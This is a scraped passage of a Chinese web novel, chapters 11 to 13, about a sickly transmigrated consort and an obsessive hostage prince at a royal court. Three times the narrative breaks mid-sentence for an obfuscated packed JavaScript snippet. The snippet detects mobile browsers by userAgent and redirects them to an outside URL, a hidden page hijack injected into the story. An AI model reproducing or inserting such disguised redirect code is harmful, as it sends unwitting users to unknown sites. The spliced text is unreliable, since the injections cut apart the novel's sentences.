青年牵起少年的手腕晃了晃:“冽儿还想吃的话,一会儿去我宫里吃点?我宫里还有一些。” “好,谢谢阿翎哥哥。” 容冽也极难得的,朝曲月翎绽出霜雪消融般的浅笑:“即使那些是阿翎哥哥给三殿下挑完后剩下的,我也会全部吃光,绝不浪费。” 梁初景:“…………” 曲月翎再挺身而出,帮梁初景说话,一力抗下所有:“噢,那倒不是挑剩的,是我吃剩的。” 但容冽就是不会说曲月翎一句不好,他只说:“那更好了,阿翎哥哥碰到好吃的,竟愿意留一份给我。” 曲月翎匆匆和梁初景道了声别,就把容冽牵走了。 走出几步,曲月翎又回头,对呆在湖边的梁初景眨眨眼,用眼神告诉他:别慌,我帮你解围了。 然而又走远一截后,容冽也回头了。 他侧过身时,面对梁初景的那半张面孔,正好是盘踞着长疤的那一半。 它自额骨劈下,延至颧弓,仿佛竖瞳,令梁初景有种被毒蛇盯住的阴邪森然之感。 明明是春末夏初的好时季,梁初景站在凉爽的树荫下,脊背却莫名生出一股凉意。 11.第 11 章 曲月翎把容冽带回了自己的栖月宫,邀请他吃了一顿晚饭,顺带解释了下自己早上没有见他的原因,并让容冽以后都不用起个大早来他宫里请安了,因为他根本起不来,见不了容冽。 倒不是曲月翎消极怠工,他比系统都渴望加班,想赶紧把三皇子好感刷满,然后等老登驾崩他做太后,完成穿书剧情。 可他如今的身体实在是太不中用了。 曲月翎不清楚这具身体患有的是哪种心脏病,但他可以感觉到,这具新身体比上辈子他动手术前的身体情况稍微要好些,却也仅仅是一些。 这两天刚穿书的亢奋劲过去后,各种不适就压不住了。 他比寻常人更容易气短乏力,即使是刚从睡梦中醒来,也有休息不足的疲惫感。 皇帝让他不要多思多虑,好好卧床静养,包括皇后也免了他所有请安礼,应该都是顾虑到他身体羸弱,不能劳累。 就像比如现在,曲月翎只是下午出门活动了一会儿,吃完饭后,就已经倦得想回床上瘫着了。 而容冽听完了曲月翎的解释,轻声说:“原来阿翎哥哥早上不见我,是因为起迟了。” “我也挺想起早的。”曲月翎实话实说,“但是起不来。” “阿翎哥哥身体不好,我本不不该来整日打扰哥哥,让哥哥为我忧心,可陛下的罚令不可不从……”少年抬起眼睫,望着曲月翎道,“我仍会每日清晨来向哥哥请安,不过哥哥就不必见我了。” “不用不用。” 青年闻言连声拒绝,摆手时袖角滑落,引得容冽目光本能也落向那伶仃细腕间的雪色肌肤。 “我不是答应过你吗?往后每日下午,我都会去接你下课,你就在那时向我请安吧。”曲月翎给他出主意道,“陛下若问起,你就说是我让你这么做的。” 容冽仿佛叹息般,感喟道:“阿翎哥哥对我真好啊……” “只是……” 容冽视线上移,凝着青年眉心间的那点红痣,像跪在神相下的香客,询问他眼中高高在上,怜望世人的菩萨:“阿翎哥哥为什么会对我这样好呢?” 他问得认真,曲月翎却只是随口一答:“同为异国他乡客,我们都在用力地活着,自然得互帮互助。” 容冽又说:“但我帮不了阿翎哥哥什么。” 曲月翎则答:“我乐善好施,不需要你回报我什么。” 不过曲月翎认为自己给出的答案,前半句是假话,后半句才是真话——他确实不需要容冽回报给自己什么,因为他为了容冽整天和二皇子抬杠吵架,纯粹就是素质差,想骂人发泄压力的,二皇子也活该被骂! 再说了,他都穿书穿成“宠妃”了,不嚣张跋扈一点,肆意妄为一些,他不白穿书了吗? 而且他对容冽的“好”,归根究底是拿接容冽下课为借口趁机接近男主梁初景。 谁知话音后,容冽却起身垂首,神情肃然,如立誓似的郑重道:“阿翎哥哥的恩情,我永生不忘,他年若执牛耳,定当衔环结草以报,只希望哥哥也能常念故人,不要忘了……” 曲月翎下意识接:“冽儿。” 容冽:“……我。” 曲月翎又问:“你什么?” “……我该回去了。”容冽拎着曲月翎给他打包好的糖耳朵告别,“哥哥不用送了,快去歇息吧。” 话是这么说,家教很好的曲月翎还是把他送到了栖月宫门口,再目送少年走远。 系统坐在曲月翎脚边,望着容冽离去的背影,和他发出了同样的感慨:“唉……容冽要是男主该多好啊,这样你就可以挟恩图报,让他封你做男太后了。” 曲月翎无奈:“偏偏他不是。” “但我觉得容冽的身世背景和经历过往,不太像是书中寂寂无名的小配角啊。”说完他顿了顿,询问系统,“容冽会不会是男主的挚友,或者是男二这样的重要人物?” “有可能。”系统赞同道,“你多观察几天看看。” 曲月翎紧惕地问:“那你呢?你要闲着了?” 系统说:“……我要抓紧时间练后空翻。” 曲月翎这才放心,喝了御医给他开的调理中药,早早上床睡觉。 而藩客馆中,容冽的侍从齐影见主子拎回来一盒不爱吃的甜点,以为又是宫中哪位贵人随意赏的,即使不爱吃,也不得不要。 他熟练地走到容冽身旁,要接过那食盒按照惯例帮容冽“处理”了,容冽却抬手制住他。 “……主子?” 齐影不解,试探性地问:“您是要吃这盒糖耳朵吗?那属下帮您摆好?” “不。”容冽说,“我不爱吃这种东西。” 齐影越发不懂了:“那……” 容冽又把食盒给他,淡淡道:“赏你了。” “吃光。” “不要浪费。” 齐影心道:以往您丢给我们说“扔了”的那些糕点,我们其实也是私底下分了吃的,没人浪费粮食啊。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642458|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过既然今日容冽强调了这么一句,齐影当然是低头应“是”。 然而就在他恭敬地捧过食盒要退下时,容冽忽地又叫住了他:“等等。” 齐影顿步:“主子有何吩咐?” 容冽没有出声,他性情阴郁,喜怒猜测,平日里若不是为了应付卫祁的皇室官员,是一个笑脸都不会有,如果笑了,反而会更令人觉得毛骨悚然。 于是他不说话,齐影便屏住了呼吸,绷紧心弦看着少年走近,打开食盒,捏走一块糖耳朵,放进嘴里……咬了一口? 半晌后,容冽垂眸睨着指尖的褐色糕点,皱眉道:“……真是难吃。” “下去吧。” 齐影松了口气,遵令离开。 他不知道那块糖耳朵容冽最后是怎么处理的,不过次日容冽前往皇宫上课,他去收拾屋子时,却没在盛放废弃杂物的渣斗里瞧见被丢弃的糕点。 而容冽紧皱的眉头,从昨晚起到下午临近武课结束时,也没松开过。 因为三皇子梁初景不知道哪根筋搭错了,今日一直在烦他。 容冽和卫祁所有皇子都不熟,以前除了二皇子,没其他皇子会主动和他“聊天”,如今多了一个三皇子,即使三皇子对他的态度和二皇子截然相反,容冽却依然觉得厌烦。 尤其此刻曲月翎还不在场,容冽便连多余的目光都懒得给梁初景,像是聋了似的默不作声。 “老三,你和容冽费劲讲话干嘛?” 二皇子和容冽有旧仇,见梁初景今天一直围着他转,就忍不住嘴贱了,讥讽道:“他一个聋子,听得见你在狗叫什么吗?” “二皇兄,容殿下是邺国皇子,是卫祁的贵客。”梁初景寒声说,“请你慎言。” “贵客?” 二皇子“哈哈”两声,这会儿倒是不犯蠢了,一针见血道:“我就纳了闷了,容冽他来咱们卫祁也不是一天两天了吧?怎么以前没听过你说他是贵客呢?” 容冽对这两人的争执不闻不问,在一旁独自拉弓练箭,只在听见二皇子的质问时几不可见地扯了下唇角,露出个冷笑——他头一回觉得二皇子在说人话。 毕竟二皇子所言句句属实。 梁初景对他的示好他不是没有察觉,但为什么是最近才开始呢? 难不成梁初景从前是个瞎子吗? 结果二皇子在这时又问:“该不会是见最近宫里有人养了狗,你也想养一只吧?不过你来晚一步,我看容冽已经先成曲月翎的狗了。” 12.第 12 章 这话骂得不可谓不脏。 但这就是容冽的日常,甚至是两辈子的日常。 这一世,上一世,二皇子都如此长期欺凌辱骂他。 容冽大多数时候都默不作声,包括此刻,他被骂是曲月翎的狗,闻言也只是淡淡掀眸瞥了一眼二皇子,继而便收回目光,专注于靶心,将弓弦拉满,再倏然松指。 只听“飒——”的一声破风声响。 未几,殷红的靶心中央便多了一支尾羽微微晃动的利箭。 其准心力道,莫名让二皇子有种后颈发凉的古怪感,总觉得自己如果再敢多话,被射中的可能就是他的眼珠子了,于是讪讪地闭上了嘴巴。 然而上一世当缩头乌龟,对二皇子霸凌容冽行径置若罔闻的梁初景重生回来,再次亲眼目睹这一切,却忍受不了了。 平心而论,若是自己去了他国当质子,十几年间日日被这样霸凌,他也肯定会想要报复回去,如今梁初景既为自己曾经视若无睹的过往感到羞愧,又为二皇子的蛮横霸道而心生愤怒,当即便站出来骂道:“二皇兄,我看你才是真将书都念进狗肚子里去了,你此刻就不该跟我们在一起习武练箭,而该去照照镜子,瞧瞧自己像恶狗一样胡乱咬人的嘴脸有多令人作呕!” “老三,你他娘的疯了吧?”二皇子将手里的弓箭往地上一扔,迈步上前搡了一把梁初景的肩,“人家容冽都没吭声,就你搁这儿又唱又跳的?” “怎么着?你嫉妒容冽,也想当曲月翎的狗啊?”二皇子讥讽地笑着,“我看你确实比容冽适合做狗,毕竟曲月翎好像还挺喜欢你的,昨天眼巴巴候在崇文馆外给你送糖糕呢,生怕你不咬他丢的狗骨头……” “咣!” 梁初景不再和他废话,一拳痛击到二皇子脸上,将人捶得踉跄几步。 二皇子捂着脸满目的不可置信,完全不明白从前这个和容冽一样孤僻寡言的弟弟,如今怎么会有胆子敢对自己动手?于是等反应过来后,他便怒吼着还击回去。 梁初景刚做好防御的姿势,就感觉身体被人推了一把,本该砸向他的拳,最终落到了容冽脸上。 容冽被二皇子打得微微侧过面庞,颧骨上也多了一抹红,可能等到明日就会变得发青泛紫。 不过梁初景清楚地看见,容冽被打以后,唇角反而向上勾了勾,神情似笑非笑,黑瞳里邃深幽暗的眸光也叫人看不懂。 梁初景疑惑道:“容冽……你?” 容冽刚刚把他推开……是在帮他吗? 只是此刻的情况容不得梁初景多想,方才骂他疯了的二皇子,此时才是真的跟疯了一样,挥舞着拳头胡乱打向前方。 而这回容冽侧身撤开了,站在他一旁的梁初景没有防备,硬生生挨了身强体壮的二皇子三拳,才从被打蒙的眩晕感中回过神,开始抵抗还手。 ——两人打的不可开交。 容冽也“参战”了,会趁乱踢二皇子几脚,又会在二皇子准备打他时佯装无事发生过走远,经常跟在二皇子屁股后面的四、五皇子也想来劝架,却不幸被牵连误伤,也吃了自己两位好皇兄的拳头,到最后武师傅和侍卫们来把大伙儿分开时,几乎所有人的脸上都挂了彩。 二皇子气得怒目圆睁,面红耳赤。 三皇子梁初景胸膛起伏,呼.吸粗重。 四皇子捂着红肿的腮帮子一脸无语。 五皇子抱着鼓大包的脑袋嗷嗷痛哭。 只有容冽面无表情,和这几位皇子相比,有种置身事外的疏离感,再细看他的唇角,竟还能瞧见几丝惬意称心的浅淡笑意。 “老三,你给我等着吧!”二皇子恶狠狠撂下狠话,“我一定会将此事告诉我母妃!” 梁初景皮笑肉不笑,阴阳怪气回他:“静候佳音。” 二皇子怒气冲冲走了,四、五两位皇子也跟在他屁股后离开,校场里,就只剩下容冽和梁初景了。 虽然今天挨了好一顿毒打,但梁初景觉得自己不是浑然没有收获,古语有言:不打不相识。 他认为今天自己和容冽一起殴打了二皇兄,也算有份特别的情谊在,便笑着朝他抱拳感谢道:“容殿下,今日多谢你助我。” 容冽听完乜他一眼,没有说话。 梁初景又说:“今日的事全因我而起,父皇那边有我去说,不会连累你的。” 容冽仍是不说话,这次甚至连一个眼神都懒得给他了。 梁初景尬在原地,无措片刻,正准备跟容冽道声别也离开时,忽然灵敏地发现,少年脸上那种阴郁冷峻的神情,自始至终没有过太大变化,可垂在身侧的手却渐渐攥紧了。 回想起昨日在湖畔时,容冽和曲月翎那和睦融洽的相处情况,梁初景试探性地问了句:“容殿下,你是……在等越妃吗?” 在“越妃”两个字话音落下的刹那,容冽便倏地侧眸,点漆般的一双黑瞳沉沉睨向梁初景。 这双眼睛瞳色太过凄寒阴恻,与其对视的一瞬,梁初景心脏猛地停了一拍,可眼睛的主人望着他,嘴角却勾起一抹笑,平静地承认道:“是啊,三殿下也在等阿翎哥哥吗?” “不是,我没有在等人。”梁初景摇头,“不过都下课这么久了,越妃他今日应该不会再来了吧?” 他似乎听见容冽几不可闻地低“呵”一声,可没细听清楚,少年又问:“哦,你怎么知道?” “越妃对我父皇情根深种,故对我也爱屋及乌,近来一直很关心我的饮食起居,应当是想通过我接近我父皇。昨天他来给我送糖糕,就是这个原因。”梁初景把自己对曲月翎了解的有关事情悉数道出,“所以他今日要是想来,肯定早就来了,何至于等到现在?” 容冽:“哦。” 少年听完,拾级而下,仅给梁初景留下一个冷漠离去的背影。 梁初景的宫殿和藩客馆不在一个方向,也不好追上去与他同行,只能朝另一个方向离开。 容冽脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647016|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴沉,眸光晦暗,行走的步伐越来越快,垂在身侧的拳头也越攥越紧,连指尖都陷进了掌心的肉里,掐出一道道月牙状的血痕。 一股比被人羞辱、咒骂、殴打的滔天恨意正在容冽胸腔里翻涌着,它们张牙舞爪扯拽着容冽的肋骨,随着心脏一阵阵燃起更高的怒焰,亟待撕开他的血肉刺破云霄。 因为容冽就是这样一个偏激固执,阴鹜自私的混账。 有人欺他辱他,他未来必将十倍奉还;有人最初待他很好,到了后来又对他弃之如遗,那他同样不会铭记那人对自己曾经有过的恩情,只会像那养不熟的狗畜生似的,狠狠撕咬回去,咬得那人皮开肉绽,鲜血淋漓,让那人记住教训,再也不敢抛弃遗忘他。 而此时此刻,容冽就很想这样残忍地对待一个人。 那人有着宛如雀翎流翠的剔透碧眸,生着恍若釉面瓷像的菩萨面容,总是温声细语地与他说话,又恶劣薄情地常忘记他。 明明昨天才答应过,不会忘了他的…… 或许在他们初见的那一日,在他仰起头,被青年牵住手的那一刻,他该做的,不是故意拽青年一把,看着青年如同被他拽落瑶台,落入凡尘的仙君那般惊惶慌乱,而是该死死咬青年一口,咬得他潸然楚楚,满脸是泪。 这样的话,就算曲月翎忘了他,只要再看见那个牙印,也一定会记起自己。 容冽眼珠猩红,额角青筋浮凸,咬紧牙关,一声声在心中默念那人的名字—— 哥哥、阿翎哥哥…… 曲月翎、曲月翎、曲月翎…… 突然,另一道不属于容冽的声音也提到了这个名字—— “顾太医,翎公子他这病,要多久才能好啊?” 容冽抬起头,看见曲月翎的宫人正在送太医离开,原来他不知不觉间,已经走到了栖月宫门口,再往前直走,他就可以回到自己藩客馆了。 可容冽停下了脚步,还调动内力,用超绝常人的敏锐耳力,凝神窃听宫人和太医的谈话。 听了一会儿,他才知晓,原来曲月翎生病了,今日不是故意不来接他的。 曲月翎今早发了高烧,宫人却没察觉,还以为他和以往一样,是在睡懒觉呢。 直到午时,他养的那条小黑细犬发现不对,见曲月翎怎么都不醒,就狂吠着引来了宫人,又咬着宫人的裤脚将他拽到床榻旁,宫人这才惊觉曲月翎都烧晕过去了,匆匆去请了御医来给青年诊脉。 容冽松开拳头,紧皱的眉头也顷刻舒展,不过紧跟着又重新蹙起,他做出一副忧心至极的表情,跑到曲月翎的宫人面前,叠声询问他的阿翎哥哥生了什么病? 曲月翎得了急性咽炎。 因为他昨天吃了太多糖耳朵,吃到上火,喉咙发炎,早上更是发起了高烧,现在人刚烧醒,面颊还泛着一层病态的红,神态却蔫蔫的。 “要命了……” 他掐着自己的脖颈艰难出声:“狗宝,我的嗓子……” 13.第 13 章 “来了来了——” 系统听到曲月翎的呼唤,小跑着奔到床边,又直起上半身,将前足搭到榻上,询问曲月翎:“宿主,你现在感觉怎么样了?” 曲月翎又虚弱地咳了两声:“我现在感觉我因为嘴贱遭到惩罚,吞了一千根银针……” “你不只是嘴贱,你还嘴馋。”系统告诉他,“你吞了一千个糖耳朵。” 曲月翎:“……” 曲月翎辩解:“这简直就是危言耸听,我最多就吃了三十个……你不要胡说!” 系统说:“三十个也已经快到致死量了。” 急性咽炎所引起的高烧、咽痛等症状,本来就会增加心律失常的风险,严重的话,甚至还可能损伤心肌细或直接引发心肌炎,在这药物缺乏且没有手术抢救条件的古代,如果曲月翎没有“顶级牛马”的头衔庇佑,那他一旦心脏病发作,就可以安心等死了。 “啊……我的嗓子……”曲月翎自知理亏,不敢再和系统犟嘴了,继续唉声叹气,“怕是再也不能做歌唱家了……” 系统:“?” 系统:“不是?大哥,你……” “阿翎哥哥——” 一道同样在喊“哥哥”的声音压过了系统的狗叫。 而曲月翎的宫人们当初拦不住丽妃,现在同样也拦不住容冽,他踏着听上去凌乱又急切的脚步声冲进寝殿里,屈膝半跪,矮下身体,以一个跟系统颇为相似地姿势伏在曲月翎床沿边上,双目血红,哑声轻喃:“阿翎哥哥……” 曲月翎被他吓了一跳,系统也被他挤得往旁边挪了好几步,被迫让出位置。 但很快,曲月翎就注意到容冽颧骨上多了一抹新伤,少年的眼睛更是红到连眼白上都泛起了血丝,像是不久前才很可怜地大哭过一场。 曲月翎先摆手让宫人们退下,再缓缓朝容冽伸手:“……冽儿,你的脸?” 仿佛没预料到病中的青年开口第一句话竟是关心自己,容冽怔了一瞬,直到曲月翎因高热而过分发烫的指腹,以一种不会弄疼他的力道,触碰到他的淤伤时,容冽才回过神来。 “是不是二皇子又打你了?!”曲月翎刚才受到那股惊吓,此刻已经变成了愤怒,被气得一边咳嗽一边骂,“这狗东西……你等着,等我病好了就去收拾他咳咳……” 咳得实在厉害,曲月翎有点上不来气了,他张开双唇急促地喘息着,刚想抬手给自己顺顺气,另一只手就先他一步抚他的胸膛,从上往下轻柔地摩挲着。 “没关系的,哥哥……我、我都习惯了。”容冽垂下眼睫,如同不愿提及伤心事,也不愿给曲月翎招惹麻烦般低语道,“生气伤身,阿翎哥哥本来就病得很重,不要再为我忧心了。” “这种事情怎么能习惯呢?!” 结果青年听后,情绪反而更激动了,甚至激烈得有些不正常,他用手肘撑着床榻支起身体,即使喉咙的肿痛和高烧让他说话痛苦,他也还是提高了音量,竭力发声。 而容冽望着他为自己失态、为自己忍耐疼痛、那十足十在乎自己的模样,心脏也剧烈地狂跳起来,满意餍足到身体都在发颤,需要极力控制面部,才能确保不会扬起嘴角,只装出懵懂又惊愕的表情问:“……哥哥?” 曲月翎却把容冽的舒颤,当做了不敢反抗二皇子的恐惧、怯懦和害怕。 “没关系……这不是你的错。”他喘了两下,积蓄了点力气后,便抬臂按住少年的肩,轻声安慰道,“恶人还需恶人磨,哥哥会帮你报仇的。” “阿翎哥哥对我真好……” 容冽听着,再也压抑不住笑意,倾身扑进青年怀中,将脸埋入曲月翎单薄孱弱的颈窝里,借由青年垂落的墨发敛去自己扭曲病态的笑容。 这具仍在病中的身体弱不胜衣,其实根本庇佑不了任何人,可此刻正不断散发着融融的热意,熨烫得容冽连指尖都在颤抖。 他抱着曲月翎的腰肢,每根手指都宛如需要侵入寄主,附生在一棵树上才能活下去的金丝藤,死死攥紧青年衣裳,像是某种残忍的绞杀行径,但他仍嫌曲月翎给予自己“存活”的养分不够充足。 容冽在发影里嘴角噙笑,却用委屈的语气说:“我今天在校场外等了好久,也不见哥哥来接我,还以为哥哥不小心把我忘了……” “怎么会呢?”曲月翎拍拍他的背。 心想:忘记做什么事都不可能会忘记去接你,毕竟我还得靠接你时,趁机到三皇子眼前刷刷存在感和好感度呢。 ——他们都不知道对方心中的千转百绕。 一个误以为对方真是一个长期被霸凌的可怜孩子,另一个则误以为对方是真心在意自己。 于是容冽认为自己可以把脸抬起来了,仿佛哭闹过后得到了被哄的糖糕,笑着对曲月翎说:“是啊,我就知道哥哥不会忘了我的,因为哥哥答应过我。” “我一直在等哥哥,哥哥却没来,我就哥哥可能是出了什么事,所以我立刻来看哥哥了。” “我是如此牵挂担忧阿翎哥哥,不像三殿下……” 容冽短短三句话,喊了七声“哥哥”,曲月翎脑子本就烧得晕晕乎乎,这下更是被他喊得感觉脑袋里都有“哥哥”的回音了,听到“三殿下”这个关键词时才清醒一些,马上带病上班,打听道:“三殿下他怎么了?” “三殿下前些日子生病了,哥哥很关心他病体是否已愈,昨天还特地给他送了糖糕,对他是这般好,可他竟说……”容冽说到这就不说了,欲言又止,一副生怕说了实话曲月翎就会伤心的模样。 但这种说话说一半的情况,最吊人胃口,曲月翎很急地又追问:“他说什么了?” 容冽继续欲言又止:“……没什么。” “冽儿,你放心说吧。”曲月翎更急了,“我受得住。” 随后少年似乎被他逼得无可奈何,终于实话实话了:“其实也没说什么,大概就是一些哥哥对他好是因为爱屋及乌,实际是想通过接近他,去接近陛下之类的无稽之谈。” 曲月翎破口而出:“鬼扯,我对他好怎么会是爱屋及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651610|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌呢?” 容冽仰起脸,凝着曲月翎的眼睛,仔细观察那双碧眸里流露的情绪:“是啊,哥哥是怎样的人,我最了解了,我绝不会信这些凭空捏造的谬论,三殿下他……他应当是误会了什么,才信了这些谣言,不是故意这么说的,哥哥不要伤心。” “我没有伤心,唉……这确实也不能怪他。”曲月翎想起了自己的另一重人设——鬼迷心窍深爱老登皇帝的替嫁男妃。 再说了,三皇子梁初景作为男主,也一定是那种心机深、城府重,只会对女主窈娘露出“殿下已经很久没这么笑过了”的笑容的冷漠冰山人设,怎么可能会被他用一盒糖耳朵就轻易攻破心房呢? 现在曲月翎就想躺下休息,他真熬不住了。 他把容冽从自己怀里轻轻推出去,躺平到床上咳了咳说:“罢了罢了……他还是个孩子嘛,童言无忌,我不会和他计较这些的。” 一直凝视着他眼睛的容冽,的确没从那双宛如雀翎的绿眸里找到一丝一缕伤心或落寞的神色,这只有两种理由能够解释——要么曲月翎压根不在乎三皇子,所以也不在乎他说了自己的坏话;要么他太过在乎三皇子,所以可以原谅他说了自己的坏话。 虽然容冽很希望曲月翎对三皇子的态度是前者,但他清楚,事实一定是后者。 因为昨天,青年在崇文馆外的第一句话是对梁初景说的,不是对他。 曲月翎甚至没有看他一眼,就走向了梁初景。 离开了青年散出着浅淡药香的温暖怀抱后,容冽就感觉自己浑身发冷,现在回想起昨天被青年忽略的情形,容冽更是恨不得咬破曲月翎的脖颈,想让青年流出温热的血液浸透自己,驱散那些犹如附骨之疽的寒意。 曲月翎…… 曲月翎……为什么要看别人?为什么不看我? 曲月翎……好想弄死他…… 容冽垂着头,咬紧后槽牙,一遍遍咀嚼青年的名字,眼眶附近因青年不看自己,去看其他无关紧要的人而燃起的强烈嫉妒与愤恨,又渐渐染上赤红。 这时,他忽然听到床上的青年轻声唤他:“冽儿……” “哥哥怎么了?”容冽立即抬起头回他话,还伸手给曲月翎掖了掖被角,又问,“哥哥是想喝水吗?” “我去给哥哥倒。” 曲月翎还一句话都来不及说,容冽就已经跑远,片刻后捧着一杯温度适宜,能直接入口的温水过来,小心搀扶着他的后背,将他稳稳托起,并体贴地嘱咐:“哥哥慢点喝。” “……” 其实曲月翎刚刚开口,不是想让容冽给自己倒水喝,不过倒都倒了,而且他也确实很渴,曲月翎就先把水喝完了,再开口:“冽儿……” “哥哥的额头怎么还这样烫?”容冽扶着他躺下,重新给他掖紧被角,摸摸他额头又跑开,去水盆旁拧了个新的冰帕子过来,放到曲月翎额头上。 最后像刚进屋时那样,伏在床沿,黑眸静静望着曲月翎,乖驯懂事的微笑道:“哥哥一定要快点好起来。”